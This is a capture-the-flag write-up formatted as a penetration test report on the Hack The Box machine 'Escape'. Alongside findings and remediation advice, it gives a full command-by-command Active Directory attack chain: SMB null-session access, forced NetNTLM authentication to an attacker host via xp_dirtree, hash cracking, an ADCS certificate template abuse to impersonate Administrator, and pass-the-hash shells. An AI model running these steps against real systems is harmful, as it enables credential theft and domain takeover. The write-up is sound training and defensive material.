Penetration Assessment Report
Escape

Monday October 2nd, 2023

Github

LinkedIn

Table of Contents

1. Executive Summary

1.1 Assessment Overview

There is 1 target for this penetration test. Access to the target's network segment is provided via an OpenVPN connection and the target is hosted as a VM. There are 3 objectives:

1. Find and access the flag stored in `user.txt` on a user's desktop.
2. Find and access the flag stored in `root.txt` on the Administrator's desktop.
3. Achieve Domain Admin privileges. Domain compromise will be demonstrated by retrieving the Administrators password hash and opening a shell on the domain controller (DC).

This final report will be provided at the end of the testing. The final report will include discovered vulnerabilities, remediation recommendations, and a step by step walkthrough of the attacks preformed during the assessment.

1.2 Findings

ID	Description	Severity
1	Information Disclosure - SMB Share Access with Null Session	Medium
2	Sensitive Information Disclosure - Credentials in Log File	Low
3	Insufficient Access Control - Weak ACL on Active Directory Certificate Service (AD CS) Template	Critical

1.3 Testing Summary

The penetration test was a success with all 3 goals being accomplished. Both the user and root flags were retrieved and complete domain comprise was achieved. While all goals of the assessment were completed, there were multiple security wins encountered during testing. These wins required the penetration testing team to work harder and explore additional attack vectors to achieve their objectives. Examples of these security wins are:

1. There weren't any domain user to domain admin (full domain compromise) CVEs discovered such as Eternal Blue or Zero Logon
2. Certificates are in use for authentication which can provide a strong alternative or add-on to password based authentication

The vulnerabilities discovered during testing are related to misconfigurations and access control. For example, credentials and connection information was accessible on a file share with a null session. Additionally, an ACL was misconfigured on a certificate template which allowed a domain user to request the certificate and impersonate the Domain Administrator. The discovered vulnerabilities can be remediated by restricting access in accordance with the principle of least privilege and by harding configurations. If the vulnerabilities are remediated in this way and these principles are applied to other systems, the security posture of the organization can be greatly strengthened.

2. Technical Summary

2.1 Scope

- **Target 1**:
  - **IP**: 10.10.11.202
  - **Domain**: sequel.htb

2.2 CVSS v3 Severity Ratings

Severity	Base Score Range
Low	0.1-3.9
Medium	4.0-6.9
High	7.0-8.9
Critical	9.0-10.0

2.3 Post Assessment Artifact Removal

No changes were made to the production environment during testing as the target was hosted as an isolated VM. Any changes made to the target were reverted upon completion of the assessment by resetting the target VM.

2.4 Findings

2.4.1 Information Disclosure - SMB Share Access with Null Session

Affects: 10.10.11.202

CVSS v3 Calculated Risk: 5.3 - Medium

Description: An SMB share was discovered with a PDF containing credentials and connection instructions for a database on a SQL Server instance. This share allowed access with a null session (guest account) instead of requiring a username and password. Access to the database was leveraged to gain an initial shell.

Impact: Access to the database was leveraged to force the SQL Server to attempt to authenticate to attacker controlled server. During this authentication, the attacker controlled server received the SQL Server's NetNTLM hashed password. The password wasn't sufficiently complex and the NetNTLM hash was cracked with a dictionary attack. These credentials were then used to open an initial shell on the target system which resulted in command execution and a foothold on the target.

Remediation Guidance: SMB shares should require a valid username and password for access. This prevents attackers from accessing the contents of the share without valid credentials. Additionally, if a username and password are required to access a share, logons and activity on that share are traceable to the owner of those credentials which increases auditability.

2.4.2 Sensitive Information Disclosure - Credentials in Log File

Affects: 10.10.11.202

CVSS v3 Calculated Risk: 3.3 - Low

Description: Failed authentication attempts were logged to the SQL Server's error log. A backup copy of the log named ERRORLOG.BAK was accessible with the credentials from the compromised SQL Server account. Error logging was configured to include usernames associated with failed login attempts. One username associated with a failed login attempt was discovered in the log. Additionally, the user's password was present in the log file, because the user mixed up their password and username during a subsequent login attempt.

Impact: The discovered credentials belonged to an account with more privileges relative to the SQL Server account used to open an initial shell. These credentials were leveraged to escalate privileges by opening a more privileged shell on the target.

Remediation Guidance: Error logging should be configured to omit sensitive information such as usernames and passwords. Where it's not possible to omit sensitive information, logs can be stored in a centralized SIEM system with strong access controls. Additionally, logs could be periodically scanned for sensitive information leaks. Alternatively, failed login attempts can be logged via a count associated with each account similar to an Active Directory (AD) domain password lockout policy.

2.4.3 Insufficient Access Control - Weak ACL on Active Directory (AD) Certificate Service (AD

CS) Template

Affects: 10.10.11.202

CVSS v3 Calculated Risk: 9.9 - Critical

Description: The target AD domain uses certificates for authentication. Templates for these certificates can be used to standardize the associated permissions and enrollment rights. The access control list (ACL) for the UserAuthentication template was misconfigured to allow domain users to request the certificate.

Impact: The misconfigured ACL on the template allowed for privilege escalation to Domain Admin. Using a normal domain user account, a UserAuthentication certificate was requested on behalf of the Administrator account. This certificate was then used to impersonate the Administrator account, authenticate to Kerberos, and retrieve the NTLM hash for the Administrator account. The Administrator's NTLM hash was then used to open a shell on the target with Domain Admin privileges. The end result was full compromise of the domain.

Remediation Guidance: ACLs on certificate templates should be configured so that only privileged and trusted users can enroll in new certificates. Additionally, users should only be able to generate certificates for their own account, not other user accounts. Specifically, users should not be able to generate certificates for more privileged user accounts. If certificates need to be generated for users as part of an automated deployment process, the process should have strong logging and auditing. Additionally, any centralized account used for certificate generation should have strong access control enabled.

3. Attack Walkthrough

3.1 Scanning and Enumeration

1. Perform an initial port scan with Nmap: `sudo nmap 10.10.11.202 -oN initial_scan.nmap -Pn`

```
Nmap scan report for 10.10.11.202
Host is up (0.55s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
```

```
3269/tcp open  globalcatLDAPssl
```

2. Perform service enumeration on the open ports with NMap: `sudo nmap -p 53,88,135,139,389,445,464,593,636,1433,3268,3269 -T4 -sC -sV -O 10.10.11.202 -oN service_enumeration.nmap --script dns-service-discovery,dns-zone-transfer,msrpc-enum,rpcinfo,nbstat,smb-protocols,smb-os-discovery,smb-security-mode,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010,ldap-rootdse,ldap-search`

3. Search for SMB shares without credentials: `smbmap -H 10.10.11.202`

```
└─$ smbmap -H 10.10.11.202
[+] IP: 10.10.11.202:445        Name: 10.10.11.202
```

4. Search for SMB shares with a null session: `smbmap -u null -H 10.10.11.202`

```
└─$ smbmap -u null -H 10.10.11.202
[+] Guest session       IP: 10.10.11.202:445    Name: 10.10.11.202
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Public                                                  READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
```

3.2 Foothold

1. Download the contents of the Public share:

    1. Connect with smbclient: `smbclient -U null -N //10.10.11.202/Public`
    2. List the contents of the share: `dir`
    3. Download the file: `get "SQL Server Procedures.pdf"`

```
└─$ smbclient -U null -N //10.10.11.202/Public
WARNING: no network interfaces found
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Nov 19 03:51:25 2022
  ..                                  D        0  Sat Nov 19 03:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 05:39:43 2022

                5184255 blocks of size 4096. 1473810 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (14.0 KiloBytes/sec) (averag
e 14.0 KiloBytes/sec)
```

2. Identify the connection information and credentials in SQL Server Procedures.pdf

Bonus

For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with user `PublicUser` and password `GuestUserCantWrite1`.
Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

3. Capture the NetNTLM hash from the SQL Server:

1. Start an SMB2 server using impacket: `sudo impacket-smbserver share ./ -smb2support`

2. Connect to the Microsoft SQL Server: `impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202`

3. Force the SQL Server to attempt to authenticate to the SMB2 server to capture the NetNTLM hash: `xp_dirtree '\\10.10.16.14\any\thing'`

```
└─$ sudo impacket-smbserver share ./ -smb2support
[sudo] password for kali:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.202,54717)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:199a8e74b20533c683be9984672df6ae:0101000000000000077c6d093b4d901b3e9b16bb
7a65ea0000000000100100072007400670053004800460069007600030010007200740067005300480046006900760002001000690004b00
49004c0049007000620074000400100069004b0049004c0049007000620074000700080000077c6d093b4d901060004000200000008003000
0300000000000000000000000000300000875e75a449820c6db6be27311b5f0bf2d102fda0d9abb0bb6d5613260d5317490a001000000000
0000000000000000000000000009002000630069006600730002f00310030002e00310030002e00310036002e003100340000000000000000
000
[*] Closing down connection (10.10.11.202,54717)
[*] Remaining connections []
```

```
└─$ impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> xp_dirtree '\\10.10.16.14\any\thing'
subdirectory

                                        depth

_____________________________________________________________________________________________________________
_____________________________________________________________________________________________________________
_____   _____________________________   ___________

SQL>
```

4. Copy the capture NetNTLM hash to a file named sql_svc_hash.txt.

5. Attempt to crack the hash with a dictionary attack using hashcat: `hashcat -m 5600 sql_svc_hash.txt /usr/share/wordlists/rockyou.txt`

```
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SQL_SVC::sequel:aaaaaaaaaaaaaaaa:a2107db17d9dd09133 ... 000000
Time.Started.....: Wed Jul 12 00:48:26 2023 (9 secs)
Time.Estimated...: Wed Jul 12 00:48:35 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1253.2 kH/s (3.43ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10706944/14344385 (74.64%)
Rejected.........: 0/10706944 (0.00%)
Restore.Point....: 10698752/14344385 (74.58%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: REPIN210 → RAHRYA
Hardware.Mon.#1..: Util: 61%
```

6. Open a shell on the system using the cracked password: `evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie`

```
└─$ evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents>
```

3.3 User Privilege Escalation

1. Upload the winPEASx64.exe privilege escalation enumeration script: `upload winPEASx64.exe`

```
*Evil-WinRM* PS C:\Users\sql_svc\Documents> upload winPEASx64.exe

Info: Uploading /mnt/hgfs/pen_testing/htb/machines/completed/escape/winPEASx64.exe to C:\Users\sql_svc\Documents\winPEASx64.exe

Data: 2704724 bytes of 2704724 bytes copied

Info: Upload successful!
```

2. Run winPEASx64.exe to enumerate privilege escalation vectors: `./winPEASx64.exe quiet notcolor`

3. Search for passwords in the SQL Server error Log backup file: `cat C:\SQLServer\Logs\ERRORLOG.BAK | Select-String 'password'`

```
*Evil-WinRM* PS C:\Users\sql_svc\Documents> cat C:\SQLServer\Logs\ERRORLOG.BAK | Select-String 'password'

2022-11-18 13:43:06.75 spid18s     Password policy update was successful.
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
```

4. Escalate privileges by opening a shell as Ryan.Cooper: `evil-winrm -i 10.10.11.202 -u`

`Ryan.Cooper -p NuclearMosquito3`

```
└─$ evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimp
lemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-comp
letion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>
```

5. Retrieve flag from user.txt:

    1. Change to the svc_backup user's desktop: `cd ../Desktop`
    2. Print the user flag: `type user.txt` and `ipconfig`

```
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> type user.txt
b67fdef06bfaaa52d7452e4922c7fb80
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::250
   IPv6 Address. . . . . . . . . . . : dead:beef::dab:1de4:6b9b:29fd
   Link-local IPv6 Address . . . . . : fe80::dab:1de4:6b9b:29fd%4
   IPv4 Address. . . . . . . . . . . : 10.10.11.202
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:89e0%4
                                       10.10.10.2
```

3.4 Domain Privilege Escalation

1. Download Certify and compile it with Visual Studio 2019

2. Using the shell as Ryan.Cooper upload Certify.exe to the target: `upload Certify.exe`

```
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload Certify.exe

Info: Uploading /mnt/hgfs/pen_testing/htb/machines/completed/escape/privilege_escalation/Certify.exe to C:\User
s\Ryan.Cooper\Desktop\Certify.exe

Data: 236884 bytes of 236884 bytes copied

Info: Upload successful!
```

3. Search for misconfigured Active Directory Certificate Services certificate templates:

`.\Certify.exe find /vulnerable /currentuser`

```
[!] Vulnerable Certificates Templates :

    CA Name                               : dc.sequel.htb\sequel-DC-CA
    Template Name                         : UserAuthentication
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-5
12
                                      sequel\Domain Users           S-1-5-21-4078382237-1492182817-2568127209-5
13
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-5
```

4. Request a certificate to impersonate the Administrator user using the vulnerable template: `.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator`

```
[*] Action: Request a Certificates

[*] Current user context    : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.

[*] Template                : UserAuthentication
[*] Subject                 : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName                 : Administrator

[*] Certificate Authority   : dc.sequel.htb\sequel-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 10

[*] cert.pem         :
```

5. Copy the .pem file output to a file named cert.pem.

6. Convert the .pem file to a .pfx file (with a blank password) which can be used to authenticate to the domain controller as the Administrator user: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`

```
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.
pfx
Enter Export Password:
Verifying - Enter Export Password:
```

7. Continuing to use the shell as Ryan.Cooper, upload the cert.pfx file to the target: `upload cert.pfx`

```
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload cert.pfx

Info: Uploading /mnt/hgfs/pen_testing/htb/machines/completed/escape/privilege_escalation/cert.pfx to C:\Users\R
yan.Cooper\Desktop\cert.pfx

Data: 4564 bytes of 4564 bytes copied

Info: Upload successful!
```

8. Download Rubeus and compile it with Visual Studio 2019

9. Upload Rubeus.exe to the target: `upload Rubeus.exe`

```
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload Rubeus.exe

Info: Uploading /mnt/hgfs/pen_testing/htb/machines/completed/escape/privilege_escalation/Rubeus.exe to C:\Users
\Ryan.Cooper\Desktop\Rubeus.exe

Data: 609620 bytes of 609620 bytes copied

Info: Upload successful!
```

10. Use the generated certificate to impersonate the administrator user, authenticate to Kerberos, and receive the associated NTLM hash: `.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials`

```
[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE
```

11. Use the Administrator user's NTLM hash to open a shell using a Pass the Hash (PtH) attack: `evil-winrm -i 10.10.11.202 -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE`

```
└─$ evil-winrm -i 10.10.11.202 -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimp
lemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-comp
letion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

12. Retrieve flag from root.txt:

    1. Change to the Administrator's desktop: `cd ../Desktop`
    2. Print the root flag: `type root.txt` and `ipconfig`

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
ccc6c69a9be0f3c7a0fae21d62617370
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::250
   IPv6 Address. . . . . . . . . . . : dead:beef::dab:1de4:6b9b:29fd
   Link-local IPv6 Address . . . . . : fe80::dab:1de4:6b9b:29fd%4
   IPv4 Address. . . . . . . . . . . : 10.10.11.202
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:89e0%4
                                       10.10.10.2
```

4. Appendix

4.1 Service Enumeration with NMap

```
Nmap scan report for 10.10.11.202
Host is up (0.49s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time:
2023-06-13 09:47:19Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
(Domain: sequel.htb, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=sequel,DC=htb
|       ldapServiceName: sequel.htb:dc$@SEQUEL.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
```

```
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry:
CN=Aggregate,CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       serverName: CN=DC,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=sequel,DC=htb
|       namingContexts: CN=Configuration,DC=sequel,DC=htb
```

```
|       namingContexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=sequel,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=sequel,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 159840
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-
Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       dnsHostName: dc.sequel.htb
|       defaultNamingContext: DC=sequel,DC=htb
|       currentTime: 20230613094819.0Z
|_      configurationNamingContext: CN=Configuration,DC=sequel,DC=htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
(Domain: sequel.htb, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=sequel,DC=htb
|       ldapServiceName: sequel.htb:dc$@SEQUEL.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
```

```
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry:
CN=Aggregate,CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       serverName: CN=DC,CN=Servers,CN=Default-First-Site-
```

```
Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=sequel,DC=htb
|       namingContexts: CN=Configuration,DC=sequel,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=sequel,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=sequel,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 159840
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-
Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       dnsHostName: dc.sequel.htb
|       defaultNamingContext: DC=sequel,DC=htb
|       currentTime: 20230613094821.0Z
|_      configurationNamingContext: CN=Configuration,DC=sequel,DC=htb
